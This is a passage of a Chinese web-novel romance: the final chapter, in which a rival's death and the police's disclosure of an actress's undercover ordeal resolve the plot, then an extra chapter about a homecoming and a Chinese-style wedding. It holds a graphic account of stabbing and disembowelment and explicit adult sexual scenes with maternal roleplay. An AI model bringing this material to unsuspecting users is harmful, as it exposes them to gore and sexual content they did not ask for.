她培养了优秀的苏寄欢，她建立了优秀的[苏盛］，也获得了伟大的胜利。 [晏影］在五年前因丑闻曝光倒了，现在晏珂又快死了。 晏珂一死，整个晏氏就会面临毁灭的状态。 “晏珂。”苏菱喊了一声晏珂的名字。 病床上的躯体猛地一颤。 晏珂艰难地睁开眼，她的手指痉挛般抓住床单，喉咙里发出的声音像一台报废的机器。 她没想到苏菱会来，她害怕苏菱会做什么，但她意识已经不太清醒了。 她知道自己坚持不了多长时间，费力地呜呜嗯嗯啊啊了几下，没说出一句完整的话。 苏菱却笑着说：“晏珂，好久不见。” 晏珂晃动着脑袋，她浑浊的眼睛瞪着苏菱，还想像当年那样威胁苏菱。 苏菱往前走了半步，一脸轻松，她身体可比晏珂好多了。 她今天穿着也十分得体，和平时一样的素色套装，身上戴着华贵的珠宝，是十足优雅的贵妇。 她像一个高贵的母狮俯视奄奄一息的晏珂，继续说：“我承认你是一个果敢又坚毅的企业家，也是一个成功的商人，但你的女儿终究不如我的女儿。” 提到女儿，晏珂又激动了些，喉咙里突然爆发出一串含混不清的音节。 苏菱看了一眼晏珂，她想说的话很多，她想像一个狂妄的胜利者说出自大的话来，但她并没有这样做。 “晏珂。”她俯下身，在距离晏珂耳边一寸的地方轻声说，“最后，是我赢了。” 她说完，晏珂因为过度激动眼角流下了泪水，苏菱嗤笑一声转身朝门口走去。 走到病房外，苏菱来到窗边站着，一个人沉默很久。 她看向凌晨五六点的苏黎世，握着拳头深呼吸，却无法让身体放松。 她真的赢了吗？这么多年的欺压与对抗，真的让她赢了吗？ 她的女儿离开了她，她的女儿恨极了她，她真的赢了吗？ 许久许久，一群医生打开病房门涌进去。 片刻后，白大褂的医生走出病房冷静道：“5点42分，病人死亡。” 晏珂死了。 晏珂死了，但晏氏的人都不在这里，苏芙问出疑惑的时候，林总带着警察走向苏菱。 林总含笑道：“苏菱女士，您好，我们有一件事要告知您。” 一旁的傅锦懿颔首，介绍完自己后翻开资料，声音清澈：“苏菱女士，七年前，祝星亦女士与警方签署了秘密协议，协议内容是潜伏到晏氏集团搜集晏氏洗黑钱等一系列非法行为的证据。她为了潜伏到晏氏，为了取得晏璟霖的信任，付出了极大的牺牲。” “她在晏氏潜伏了两年零两个月，为警方搜集到了许多证据，也为此献出了自己的尊严，遭受了晏氏许多非人的折磨。在警方收网以后，晏璟霖侥幸逃脱警方的追击，她寻找到祝星亦女士的踪迹，对祝星亦女士进行极其残忍的报复。” “晏璟霖用绳索紧紧勒住祝星亦女士的脖子，段以溶用利器在祝星亦身上捅了17刀，并剖开祝星亦的肚皮剜出了她的小肠和内脏，随后两人合作将祝星亦从6楼抛下。” “祝星亦全身多处器官破裂，颅骨、肋骨、脊柱、盆骨严重损伤。在对她进行多次抢救后，她昏迷半年终于苏醒。她全身共埋入42颗钢钉、10块接骨板，全身共缝合642针。” “苏菱女士，祝星亦女士的忍耐和伤痛为警方击垮晏氏和其背后的黑色链条做出了极大的贡献，为了祝星亦和家人的安全，为了她不被晏氏报复，我们也保守了这个秘密5年。现在晏珂已死，我们郑重将真相告知你，也将告知社会。” 傅锦懿将一叠厚厚的文件放到苏菱手里：“祝星亦女士是一个坚韧、勇敢的人，她从未背叛过苏寄欢女士，从未背叛过[苏盛］。她对苏寄欢女士无比忠诚，也无比崇敬、热爱，她是一个伟大的执剑人。” 最后一个字落下，走廊死一般的寂静。 几乎同时，走廊两端同时响起杂乱的脚步声。 一端是晏瑾年带着晏家人，他们身上还穿着晏璟霖葬礼的黑色丧服，另一端是穿着警服的执法人员。 病房里的哭声震耳欲聋，脚步声也几乎要震碎了走廊。 警方在外等候这场悲痛欲绝的告别结束后，给晏氏集团最后的审判。 刺耳的鸣叫忽然落在苏菱耳中，她手中的资料宛如千斤重，怎么都翻不开第一页。 祝星亦是一个坚韧勇敢的人。 祝星亦为了扳倒晏氏，被捅了17刀，被从6楼扔下。 祝星亦的秘密被隐瞒了5年。 祝星亦从未背叛过苏寄欢。 而她，而她，而她。 而她以爱之名，不停伤害这个深爱着自己女儿的女人。 而她以爱之名，失去了自己的女儿，失去了一个对自己女儿如此忠诚的勇敢者。 她真的赢了吗？ 她真的是一个本应该狂妄自大的胜利者吗？ 她捧着那本资料，资料忽然从手里滑落掉在地上，她也无力再站直身体，阖上眼睛倒了下去。 “四姨！四姨！” 走廊在这一刻像一个荒诞的戏剧场，上演一幕不知悲喜结局的剧目。 病房内是对死者缅怀的哭声，病房外是愧疚的眼泪。 一场棋局，只有一个胜利者。 但胜利在此刻，好像又不归属任何一个人。 / 三天后，热搜炸了。 苏菱也病倒了。 苏芙顾不上处理舆论方面的事，只能先照料着苏菱。 某天病房门被敲响了，苏芙出门看，竟然是祝霜。 苏芙不知道自己该用什么状态迎接祝霜，其实整个苏家人都不知道该怎么面对祝星亦和祝霜。 苏芙红着眼角还没说话，祝霜温柔地拍拍苏芙的手，她说她要跟苏菱说几句话。 看着祝霜进屋子，苏芙轻轻阖上门。 她觉得祝霜说什么都没事，说什么都行，骂苏菱骂整个苏家都无所谓。 当年她们整个苏家人逼迫祝星亦和苏寄欢分手，又让祝霜那么无奈和难堪，祝霜现在把整个苏家发卖了她都不会说一个不字。 过了很久，祝霜走出房门。苏芙想要深深地表达自己的歉意，祝霜却温柔地说：“我并不需要你们的歉意，我想，星星也会这样想。她在做这件事前就已经想过会有什么样的后果。但她还是坚定地去做了。她自始至终都是为了寄欢，她愿意为了寄欢付出自己的一切，只因为寄欢也毫无保留地给出了自己的一切。” 苏芙流着眼泪握紧祝霜的手，祝霜拿出纸巾给苏芙擦眼泪：“请不要为此对我们一家充满歉意，也不要为此怜悯我们的付出。星星知恩图报，寄欢也为星星付出一切，只要她们好好的就行。爱是相互的，也是平等的，我也希望你们以后可以尊重她们的选择。” 苏芙哭着点头，拜别祝霜后去屋子找苏菱，发现苏菱泣不成声。 母亲与母亲是不一样的。 祝霜和苏菱不一样。 但祝星亦和苏寄欢却在一条路上，坚定坚定地往前走了那么远。 过了一段时间，苏芙又开始去寻找苏寄欢的踪迹。 仍是一无所获。 又焦头烂额一段时间，苏芙发现苏寄欢已经消失一个多月了。 一个多月了，苏寄欢到底去哪里了？ 但当苏芙第N次拨打苏寄欢的号码，这一次，对方竟接听了。 她脑子快速转了转，想着这么久不知道苏寄欢的消息，该和对方报告什么消息才更好。 想来想去，她准备先告知苏寄欢关于祝星亦和晏氏的真相。 她深吸一口气握紧拳头，努力让自己镇定自若地说出祝星亦隐瞒了五年的真相。但说出这些真相时，她的声音控制不住地颤抖着。 苏芙不忍心讲起这个真相。 祝星亦为了帮助苏寄欢抵抗晏氏的攻击，只身潜入晏氏获取证据，期间被晏氏伤害、又承受了那么多屈辱，居然一声不吭忍了那么久，还被世人当作背叛者谩骂整整五年！ 苏家更是恨了祝星亦五年！苏菱还把那些屈辱的过去尽数曝光，一次一次伤害祝星亦。 说着说着，苏芙忍不住哭了起来。 整个苏家，都有愧于祝星亦。 祝星*亦为[苏盛］带来了未来，苏家却恩将仇报。 但苏芙庆幸此前苏寄欢对祝星亦那么坚定，即便没有这个真相，苏寄欢仍是待祝星亦如初。 她不敢想象如果连苏寄欢也对祝星亦恶语相向会是什么样的结果，祝星亦为了[苏盛］的未来做了那么多，还落得个这么寒心的结局，换作是她，她绝对不会那么坚定地继续和苏寄欢在一起。 苏芙抽抽搭搭说完，以为苏寄欢那边会无比震惊，却听苏寄欢淡定地说：“嗯，我知道，我早就知道了。” 苏芙迅速站起身子问：“什么？你什么时候知道的？！” “我带星星逃走的那一晚，那一晚我们到达南麂岛，那时是凌晨四点，她告诉了我真相。”苏寄欢静静说着，陷入短暂的回忆。 那天凌晨四点她们抵达南麂岛，住进了提前订好的民宿。在海浪声声和漫天星光下，祝星亦将被掩埋的真相全盘托出。 苏寄欢不知道自己哭了到底多长时间，她只记得自己一直在抱着怀里的狐狸，一声声重复对不起。 42根钢钉和600多针是为她钉的、缝的，被晏氏的人打骂侮辱，这些林林总总的罪都是为她受的。 坠楼、被捅17刀，这些痛苦通通是为了她受的。 她曾以为的背叛者，竟是孤注一掷的勇敢者。 可她竟对一切一无所知，还怨她、恨她、奚落她。 “星星，对不起，我……是我的错，我不知道，对不起……星星对不起……”苏寄欢忍着心脏的疼痛抱紧怀里的祝星亦，她已经哭到呕吐，眼泪却怎么都止不住。 她仍是恨透了自己，她恨自己太弱小，恨自己无能。她比祝星亦大八岁，她比祝星亦有更多阅历资历，却承担不起相应的责任，还要祝星亦受苦受罪帮助自己。 她在无数个瞬间恨自己无能，更在这一刻因为爱人受的痛苦憎恶自己当初是个废物。 但祝星亦同样也抱紧了她，轻声说：“苏老师，你没有做错什么，你给了我新的生命，这是我对你的回报。你是我此生唯一的信仰，你永远都值得我为你赴汤蹈火。” “苏老师，我向你坦诚不是因为我想要你对我愧疚，我向你坦诚是因为你是我的爱人，你已经向我坦诚你的过去，我也不想再向你隐瞒这些东西。” “无论过去还是现在，你都为我付出了太多太多，你为我铺了一条星光大道，你牵着我的手给我这本该不堪的一生新的可能，你给我，给[星闪］美好的未来，所以我为你的付出也是值得的。” “你已经向我展示你的脆弱，我也不再执着所谓的怜悯。因为我已经看到，我们彼此需要，彼此依赖，我们也是平等的。所以苏老师，如你所说的那般，我们未来还有很长的路，让我们忘记过去，好好向前看好吗？”祝星亦亲吻苏寄欢的眼角，抬手给她擦眼泪，怎么也擦不完。 祝星亦心疼地靠在苏寄欢胸口小声说：“苏老师，你哭得我好心疼，我好难受。” 苏寄欢听她说难受，马上用力止住自己的眼泪，却只能止住悲戚的哭声，她仍旧不停喊着祝星亦的名字，眼泪肆无忌惮地从眼角滑落。 最后她的呜咽被祝星亦的吻遮盖，她们相拥着看海上日出，在眼泪中熬过一个白昼。 后来她们在岛上度过了许多时间，她们像平常妻妻般看海看月亮看星星，在海浪声声中温柔呢喃，两具身子放肆地旖旎缠绵。 苏芙的喊声把苏寄欢的思绪拉了回来，“你们在南麂岛？你们现在还在那里吗？在的话我去接你们行不行？” 苏寄欢摇摇头道：“我们现在不在那里了。” “那你们现在在哪里？”苏芙问。 苏寄欢转头。 万年冰山收入眼底。 她倚在身旁的女人怀里，懒懒答道：“北极，马上要到北极点了。” 她们乘坐庞洛指挥官夏古号，正穿越浮冰区前往世界尽头——北极点90°N。 苏芙听后忽然吼了起来：“不儿，寄欢，你去北极干什么！你身体受得了吗！” “去北极是因为……”被一只小手戳了戳胸口，苏寄欢笑出声，旋即抓住了那只手吻了吻，“是因为，故事的结尾，小企鹅一路波折，终于从南极到达了北极。” 苏芙简直不知道苏寄欢到底在说什么，她抓抓头发冲着话筒喊：“什么东西？你叽里咕噜说的什么啊？寄欢，你们赶紧回来啊，好多事情堆在这里，你们的《长离引》也没拍完，你妈跑到星星妈妈家里哭个没完，我们又都联系不上星星。ilmeth给你们俩翻转了舆论，媒体把地都翻一遍了，结果你们跑去了北极！极点！苍天！跑到世界尽头啦！谁找得到你们！” 呵！谁有她们会跑啊！跑那么远！谁找得到！ “寄欢啊，赶紧回来吧！我自己处理这些东西，我感觉天都要塌了！”苏芙觉得要是再在这里守下去，她马上就要连人带盒就剩三斤了，“你和星星在热搜上挂了那么久，一个接一个消息，一个炸弹接一个炸弹，炸得这内娱震了又震，炸完了你们又跟没事人一样丢下烂摊子不管了！有你们这样的吗！” 苏寄欢没什么耐心再和苏芙聊天，作为一个已婚女人，面对这么好的风景，她应该多跟自己的妻子聊聊，索性跟苏芙说：“你随机应变吧，我不和你说了，我和星星正在度蜜月，回麓城还要等好长一段时间，挂了。” “苏寄欢！你！！” 苏寄欢挂断电话的那一刻，夏古号停靠冰岸边，船长开着香槟庆祝这场旅行的终点到了。 TheNorthPole90°N。 200多名旅客跟着船长一起欢呼，摄影师记录下这一刻。 苏寄欢起身侧首，抬手撩了下怀里女人的头发，指上崭新的婚戒闪着船舱内的灯光。 此前抵达巴黎的时候，她和祝星亦已经在当地注册结婚。 不，不是结婚，是复婚。 她冲明艳美丽的妻子举起鸡尾酒，低垂着眼睛，一如既往温柔道：“星星，终点到了。” 爱人转眸，与她碰杯。 在热闹的欢呼声中，在亘古的冰川前，在寂寥静谧的地球之巅，苏寄欢凝望着身侧爱人琥珀色的眼睛。 十年前，故事从麓城开始。 十年后，故事在麓城结束。 “但我亲爱的小狐狸，我们的剧本，永远未完待续。” 因为新的故事，从北纬90度开始了。 两颗炽烈的中子星终于合并，耀眼的火焰漫过冰蓝色的峡湾，这时天际的弧线变得柔和，海天一线的地方是一重重如梦似幻的画面。 两双眼睛望过去，极地漫长的白昼低低地飞过夏天，像生命流淌进生命。 她们置身于剧本的1章 里，张开翅膀挣脱沉重的枷锁，在收笔前写下最完美的省略号。 于是她给她一个绵长的吻，一颗不会冷却的心。 她们来时走了很长的路，她们还有很长的路要走。 ……[正文完］…… 第178章 番外小坏蛋 11月19日，古斯特驶入麓安区清安别墅区。 新房子两个月前装修的，直到今天才迎来度完蜜月的主人。 到门外，便听到屋里闹哄哄的。 苏芙接到消息后抱着水壶从客厅里跑出来，满头大汗的她念叨这两位姑奶奶终于回来了。 昨天苏芙跟苏寄欢磨破嘴皮子都没能在这房子里住下，对方给出的拒绝理由是：新婚妻妻都还没住，苏芙不许先住。 苏芙没办法，只能起个大早来这里收拾，恨不得长十只手招呼客人们。 白澜和金允声出来收拾行李，屋里的客人听到响动鱼贯而出。 “天啊！你们终于回来了！” “好想你们啊！” “姑奶奶们，你俩欠的《长离引》啥时候给我拍完啊！景区都开业了，你俩还没拍完！” “大星、苏小姐，新婚快乐！” 距离两个人的风波已经过去了四个月，那时ilmeth重新操控舆论，冤屈洗刷干净，黑历史尽数洗白，人们像是丢了记忆期待《长离引》什么时候才能拍完。 闹剧在悲喜交加中收场，一切归于平静。 饭是在后院吃的，花园泳池一应俱全，请来的中餐厨师忙活好久把白色长桌铺满了香喷喷的食物。 苏寄欢说这顿饭算是喜宴，苏芙看了看桌上的一群年轻人，这哪里像是喜宴，简直像是朋友聚餐。 姜妤璇举手建议二位补办个婚礼，苏寄欢说她们在巴黎的时候，领完证就去巴黎歌剧院办了个漂亮的婚礼。 看了看照片，富丽堂皇的歌剧院被鲜花装饰得像在天堂。 祝星亦如愿以偿穿上那年在温哥华没有穿上的超大爆闪蝴蝶结蓬蓬裙婚纱，巨大的蓬蓬裙和长长的拖尾，把身边穿抹胸鱼尾裙婚纱的苏寄欢衬得跟小手办似的。 除了婚纱，和在温哥华那次的婚礼不一样的是，这次她们都戴了长长的头纱。 洁白的头纱垂到脚下，像一条闪亮的银河。 唯一遗憾的是婚纱太大太篷，拖尾长得可怕，怀里还抱着垂到脚边的鲜花，祝星亦挪动一步都要费很多力气，导致新婚夜只能躺在床上任苏寄欢拿捏。 看完照片有人不乐意了，这么好看的婚礼两个人竟然背着大家举办，纷纷要求必须再办一场。 举手投票后，压倒性的票数击败了苏寄欢的拒绝。 苏寄欢捏了捏身旁祝星亦的手，询问她的看法。 祝星亦抿唇耸了耸肩，笑说：“那就办呗，中式婚礼。” 苏寄欢转头道：“老婆都说办了，那就办。” 桌上的韩珑举手起身，提议：“《长离引》杀青后办中式婚礼怎么样？你们俩还欠着补拍的戏份呢！” 这倒是不争的事实。 祝星亦在桌下晃晃苏寄欢的手点点头：“可以啊，拍完办个中式婚礼，亲朋好友聚一聚。” 韩珑心道这真是太好了，饭都顾不上吃，开始联系剧组赶紧筹备补拍的事情。 客人闹到晚上十点才回去，看家里阿姨收拾完东西，苏寄欢和苏芙交代了下工作的事，告别苏芙。 苏寄欢回房的时候，床上已经躺着一只困倦的狐狸。 洗完澡出来，那只狐狸缩在被窝里浅浅呼吸着。 “你睡这么早？”苏寄欢钻进被窝搂住祝星亦的腰，“不跟我说晚安就睡了？” 祝星亦转身和她面对面，熟练地掀起她的睡衣，将嘴巴对准胸前吮住。 每晚祝星亦都是吮着苏寄欢的胸睡觉，入睡后，苏寄欢才抽出身子安抚好怀里的狐狸放下衣服。 苏寄欢的胸型圆润，D接近E的罩杯，但不下垂。她平常穿的乳。罩很薄，祝星亦手指勾一下就能吃到。 祝星亦最喜欢苏寄欢穿胸垫的吊带，想吃随手一扒就能饱餐一顿。可惜苏寄欢不怎么穿吊带出门，只在家里偶尔穿穿。 唯有在床上穿睡衣才是祝星亦的快乐时刻，她能整个人钻进苏寄欢的睡衣里吃个尽兴。 满嘴淡淡的柚子花香，十分美味，也是祝星亦的助眠好物。 吃上才会让她安心，否则晚上是怎么都睡不着的。 但哪有这么大了还要吃奶的道理？可苏寄欢也改不了她这个习惯。 加上苏寄欢每每靠近祝星亦时，体内的催产素爆棚，看着她在怀里吮吸，小小的嘴巴蠕动着，催产素爆得实在受不了，只好躺着任吃。 被吮了会儿，苏寄欢看怀里阖眼只顾吃奶的人，无奈地笑问：“干嘛啊？累得说不出来话，还有力气吃奶？” 祝星亦没睁眼，边吮着边说：“就是累嘛，坐了那么久的飞机，又回来招待客人，累得不想说话。” 其实祝星亦回来也没招待客人，从车里出来后就直奔客厅一屁股坐下和客人随意聊天。 招待客人的活儿都被苏寄欢揽了，还要时不时照顾一下坐在沙发上和朋友侃大山的祝星亦。 比如给祝星亦洗草莓，剥葡萄皮，又比如拉着祝星亦给她换上家居服，用餐的时候还要亲手喂上一口，否则只顾着说话连饭都忘记吃。 一整天，祝星亦最累的恐怕就是讲述为期四个多月的蜜月旅行了。 讲两句还要问问苏寄欢有没有记错，苏寄欢便坐在她身边听着提醒着。话讲多了，苏寄欢还要喂她喝水，省得渴到嗓子干哑。 苏寄欢听后拨了下祝星亦脸前有些杂乱的发，轻声说：“辛苦你了，那我们明天睡一天，好好休息行不行？” 深深吸一口，祝星亦点点头：“嗯嗯，睡一天。” 噙了会儿，她喊：“苏老师。” “嗯？”苏寄欢揉揉怀里的狐狸的头发，“怎么了？要换另一个吗？” 祝星亦摇头，半睁着眼舔舐苏寄欢的锁骨，“你要是可以把我生下来就好了。” 苏寄欢笑出声：“如果我把你生下来，还要把你养到这么大才能和你在一起，我都老透啦。” 祝星亦抓着她的胸脯摇头：“你把我生下来我就这么大，你不用费劲养我。” 苏寄欢刮她鼻子：“我肚子要多大才能生下这么大的你？” 祝星亦忽然眼角湿润了，声音嗫嚅着：“可是我想让你生我，你不愿意吗？” 见她哭了，苏寄欢心头一酸，忙抱紧了她安抚：“愿意愿意，我今晚就生你，好不好？” 苏寄欢握住祝星亦的手，往自己的小腹上移，“现在，我要把小星星装进我的肚子里啦，哎呀，小星星太大只了，怎么装不进去？” 她搂紧祝星亦，长腿缠住祝星亦的腿，把祝星亦箍得紧紧的，“原来是我不够努力呀，我要努力把小星星装进我肚子里。嘿！装进去啦。” 祝星亦咯咯笑出声，苏寄欢又缓缓松手，“接着，我要把小星星生出来，唔，生出来了。哦？我的小星星这么漂亮呢！” 苏寄欢捏捏祝星亦的鼻子，祝星亦这下眼睛变得亮亮的，埋在她胸前笑说：“我出生啦，那我现在就是你的小宝宝了，妈咪妈咪，我是你的小宝宝。” 苏寄欢啄她额头，“你一直是我的小宝宝，我的乖宝宝。” 唇舌纠缠了会儿，祝星亦噘嘴，有点为难，“妈咪，我又不困了。” 握住苏寄欢的手吻了吻，小声说：“你的小宝宝需要你安抚。” 苏寄欢弯着唇角抵上她的额头说：“好好好，马上安抚我的乖宝宝。” 一夜纠缠，浑身湿透。 // 景区早早开放了，流量因为两人的惊爆事件高到爆棚。邓佳丽乐得合不拢嘴，剧虽说拍得一波三折，但给景区引流的目的达到了。 为了表达谢意，她给剧组在汴城重新找了个景区补拍，后期上下功夫便看不出什么差别。磨磨蹭蹭，年初1月份才拍完。 正式杀青的那天早上，剧组布置成婚礼现场，喜宴是在景区内的一处酒店里办的，韩珑招呼着剧组的人一起布置好，开始迎接新人到场。 来赴宴的都是圈内外的朋友，苏寄欢没有邀请苏家人过来，也没喊家里的长辈参加婚礼。不过苏芙带着苏家的孩子们到场，苏寄欢表示很欢迎她们，要她们站在路两边帮忙撒花。 祝星亦这边也没让祝霜来，但她喊安安来了。 这场中式婚礼算《长离引》的杀青仪式，本质上是一个庆祝活动，邀请那些长辈过来没什么用。 再者说，苏寄欢也不想见那些人。 白天闹了许久，到晚上，两人在不同的地方做妆造。 做完，良辰吉日，凤冠霞帔，走上红毯。 安安搀着祝星亦，苏芙搀着苏寄欢，不拜天地，不拜高堂，拜了彼此，礼成后，在亲朋好友的欢呼中，送入酒店房间。 婚礼流程还有闹洞房，但已经晚上八点了，祝星亦盖着红盖头等了会儿有点着急，索性拉下盖头，探进苏寄欢的盖头里。 睁大眼睛，睁大亮汪汪的眼。 祝星亦感叹，好漂亮的老婆，好美的老婆。 两个人共用一个盖头，红色阴影里，苏寄欢笑看着凑在眼前的祝星亦说：“你怎么把你的盖头掀了？” 祝星亦抬手把苏寄欢的盖头也掀了，两人的古风婚服和古风妆造，都美艳得不得了。 盯着苏寄欢的红唇看了会儿，祝星亦饿狼扑食般吻了上去，吻得自己的唇都花了。 苏寄欢抱住她，嗔怪道：“好啦好啦，还要等她们进来玩游戏呢。” 祝星亦坐她怀里抱着她的腰纠缠了会儿，气鼓鼓道：“不想她们进来，我都饿了。” “你饿了？”苏寄欢抬头看向桌子，那处有瓜果和零食，准备把怀里闹腾的狐狸放下来去拿，却被狐狸按住了手。 祝星亦摇头，趁苏寄欢疑惑时，一层一层扒开婚服。 苏寄欢还没反应过来，狐狸湿润的小舌便卷住了。 热乎乎的鼻息扑在胸前，她咽了口唾沫，把人往怀里搂了搂。 原来是想吃这个。 她无奈，只能任狐狸在怀里吃。 吃了会儿，祝星亦嘟囔：“她们在外面玩够了没，赶紧进来走流程，我们还要睡觉呢。” 苏寄欢拍拍她的背说：“不然我叫韩珑她们快些进来，她们玩完就回去了。” 祝星亦点头，“行，不过先等我一下。” 她换了个姿势，扒开另一侧噙了会儿，说：“吃饱了，叫她们进来吧。” 打完电话，一群丧尸扑进来闹洞房。 怕这群人为难祝星亦，苏寄欢掏出一沓厚厚的红包，发了一圈。做完几个游戏，苏寄欢又发了一沓红包，这群人才兴致勃勃离开。 沐浴完，祝星亦率先躺进被窝里。等苏寄欢洗得香香的出来后，她如鱼出水般环住苏寄欢的身子。 嗅着柚子花香，祝星亦在苏寄欢耳边小声嘟囔：“苏老师，今天你好忙，你累不累？” 苏寄欢今天忙了一天，确实是累坏了。反观祝星亦，跟在她身边一动不动，闲得很。 苏寄欢揉揉祝星亦的腿摇头：“我不累，你累吗？” 祝星亦嘟嘴：“我当然不累，今天都是你在忙嘛，你快说你累。” 苏寄欢笑着顺从她，温柔说：“好，我累，好累啊我的乖宝宝。” 得了逞，祝星亦环紧苏寄欢的腰说：“苏老师，巴黎婚礼那天，我任你拿捏，今天晚上，你任我拿捏好不好？你看你都这么累了，是吧？” 苏寄欢挑起一侧眉，这坏狐狸原来打的这个鬼主意。 刮了下坏狐狸的鼻子，苏寄欢哼笑一声：“你这个坏狐狸，真拿你没办法。” 她抱住祝星亦的腰，整个人乖顺地躺在枕头上，然后把祝星亦放在自己身上。 苏寄欢一旦躺下去便勾人得很，漂亮的浅褐色眼睛直勾勾盯着祝星亦，婀娜的曲线和美丽的身体魅惑得要命。 苏寄欢做1做0都很精彩。 她捏捏祝星亦的腰，长腿往上蹭了蹭，修长的手指在自己胸前画了个小圈，软软笑着说：“来吧，小坏蛋。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&